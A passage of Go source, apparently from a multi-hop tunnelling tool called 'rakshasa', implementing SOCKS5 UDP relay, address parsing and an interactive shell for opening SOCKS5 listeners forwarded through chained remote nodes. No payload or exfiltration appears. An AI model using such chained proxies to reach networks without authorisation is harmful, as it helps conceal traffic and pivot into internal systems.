udps.id = udps.server.storeConn(s)
|
||||
udpid = udps.id
|
||||
udps.udpRepData = make([]byte, 10)
|
||||
copy(udps.udpRepData, data)
|
||||
udps.udpMap.Store(ip, udpid)
|
||||
} else {
|
||||
udpid = v.(uint32)
|
||||
}
|
||||
case 3:
|
||||
case 4:
|
||||
}
|
||||
common.GetIDLock.Unlock()
|
||||
buf := make([]byte, 4)
|
||||
buf[0] = byte(udpid)
|
||||
buf[1] = byte(udpid >> 8)
|
||||
buf[2] = byte(udpid >> 16)
|
||||
buf[3] = byte(udpid >> 24)
|
||||
s.server.Write(common.CMD_CONN_UDP_MSG, udpid, append(buf, data...))
|
||||
}
|
||||
|
||||
}
|
||||
func (s *clientConnect) connect(command common.NetWork, addr string, port uint16) {
|
||||
ports := strconv.Itoa(int(port))
|
||||
|
||||
buf := make([]byte, 2+len(addr)+len(ports))
|
||||
s.id = s.server.storeConn(s)
|
||||
buf[0] = byte(command)
|
||||
copy(buf[1:], addr)
|
||||
buf[1+len(addr)] = ':'
|
||||
copy(buf[2+len(addr):], ports)
|
||||
|
||||
s.server.Write(common.CMD_CONNECT_BYIDADDR, s.id, buf)
|
||||
if value, ok := s.server.listenMap.Load(s.listenId); ok {
|
||||
switch v := value.(type) {
|
||||
case *serverListen:
|
||||
v.connMap.Store(s.id, s)
|
||||
case *clientListen:
|
||||
v.connMap.Store(s.id, s)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func Bytes2str(b []byte) string {
|
||||
return *(*string)(unsafe.Pointer(&b))
|
||||
}
|
||||
|
||||
func (s *clientConnect) Remoteclose() {
|
||||
|
||||
s.close = "本地要求远程关闭"
|
||||
|
||||
buf := make([]byte, 4)
|
||||
buf[0] = byte(s.id)
|
||||
buf[1] = byte(s.id >> 8)
|
||||
buf[2] = byte(s.id >> 16)
|
||||
buf[3] = byte(s.id >> 24)
|
||||
s.server.Write(common.CMD_DELETE_LISTENCONN_BYID, s.listenId, buf)
|
||||
|
||||
}
|
||||
func init() {
|
||||
|
||||
socks5shell := cliInit()
|
||||
socks5shell.SetPrompt("rakshasa\\socks5>")
|
||||
socks5shell.AddCmd(&ishell.Cmd{
|
||||
Name: "list",
|
||||
Help: "列出当前连接的ID和其他信息",
|
||||
Func: func(c *ishell.Context) {
|
||||
var list []*clientListen
|
||||
currentNode.listenMap.Range(func(key, value interface{}) bool {
|
||||
if v, ok := value.(*clientListen); ok && v.typ == "socks5" {
|
||||
list = append(list, v)
|
||||
}
|
||||
return true
|
||||
})
|
||||
orderClientListen(list)
|
||||
fmt.Println("当前监听端口数量:", len(list))
|
||||
for _, v := range list {
|
||||
fmt.Println("ID", v.id, "本地监听端口", v.localAddr, "转发服务器uuid", v.server.uuid)
|
||||
}
|
||||
},
|
||||
})
|
||||
|
||||
socks5shell.AddCmd(&ishell.Cmd{
|
||||
Name: "new-socks5",
|
||||
Help: "新建一个socks5连接,使用方法 new-socks5 配置字符串 目标服务器 如 new-socks5 admin:[email protected]:1080 127.0.0.1:8881,127.0.0.1:8882",
|
||||
Func: func(c *ishell.Context) {
|
||||
if len(c.Args) < 1 {
|
||||
c.Println("参数错误,例子 new-socks5 admin:[email protected]:1080")
|
||||
return
|
||||
}
|
||||
cfg, err := common.ParseAddr(c.Args[0])
|
||||
if err != nil {
|
||||
c.Println(err)
|
||||
return
|
||||
}
|
||||
nodes := []string{}
|
||||
if len(c.Args) == 2 {
|
||||
nodes = strings.Split(c.Args[1], ",")
|
||||
}
|
||||
if err := StartSocks5(cfg, nodes); err != nil {
|
||||
c.Println("本地socks5启动失败", err)
|
||||
} else {
|
||||
c.Println("本地socks5启动成功")
|
||||
}
|
||||
},
|
||||
})
|
||||
|
||||
socks5shell.AddCmd(&ishell.Cmd{
|
||||
Name: "close",
|
||||
Help: "关闭一个socsk5监听实例,使用方法 close ID",
|
||||
Func: func(c *ishell.Context) {
|
||||
if len(c.Args) != 1 {
|
||||
c.Println("参数错误,例子 close 1")
|
||||
return
|
||||
}
|
||||
id, _ := strconv.Atoi(c.Args[0])
|
||||
var l *clientListen
|
||||
if value, ok := currentNode.listenMap.Load(uint32(id)); ok {
|
||||
if v, ok := value.(*clientListen); ok && v.typ == "socks5" {
|
||||
l = v
|
||||
}
|
||||
|
||||
}
|
||||
if l == nil {
|
||||
c.Println("没有找到ID为", id, "的连接")
|
||||
} else {
|
||||
l.Close("命令行关闭")
|
||||
l.server.Write(common.CMD_DELETE_LISTEN, l.id, nil)
|
||||
currentNode.listenMap.Delete(uint32(id))
|
||||
|
||||
}
|
||||
},
|
||||
})
|
||||
rootCli.AddCmd(&ishell.Cmd{
|
||||
Name: "socks5",
|
||||
Help: "进入socks5功能",
|
||||
Func: func(c *ishell.Context) {
|
||||
|
||||
socks5shell.Run()
|
||||
|
||||
},
|
||||
})
|
||||
}
|
||||
func ipToByte(ip string) []byte {
|
||||
var b []byte
|
||||
|
||||
if strings.Contains(ip, ".") {
|
||||
for _, s := range strings.Split(ip, ".") {
|
||||
i, _ := strconv.Atoi(s)
|
||||
b = append(b, byte(i))
|
||||
}
|
||||
}
|
||||
|
||||
return b
|
||||
}
|
||||
func socks5ReadAddr(data []byte) (addr string, port uint16) {
|
||||
port = binary.BigEndian.Uint16(data[len(data)-2:])
|
||||
switch data[3] {
|
||||
case 1: //ipv4
|
||||
str := make([][]byte, 4)
|
||||
for k, v := range data[4:8] {
|
||||
str[k] = []byte(strconv.Itoa(int(v)))
|
||||
}
|
||||
addr = string(bytes.Join(str, []byte{46}))
|
||||
|
||||
case 3: //域名
|
||||
addr = string(data[5 : len(data)-2])
|
||||
|
||||
case 4: //ipv6
|
||||
strs := make([]string, 0)
|
||||
for i := 4; i < 20; i += 2 {
|
||||
str := ""
|
||||
for j := 0; j < 2; j++ {
|
||||
str += fmt.Sprintf("%0.2x", data[i+j])
|
||||
}
|
||||
str = strings.TrimLeft(str, "0")
|
||||
if str == "" {
|
||||
str = "0"
|
||||
}
|
||||
strs = append(strs, str)
|
||||
}
|
||||
addr = "[" + strings.Join(strs, ":") + "]"
|
||||
|
||||
default:
|
||||
|
||||
}
|
||||
|
||||
return
|
||||
}
|
||||
Reference in New Issue
Block a user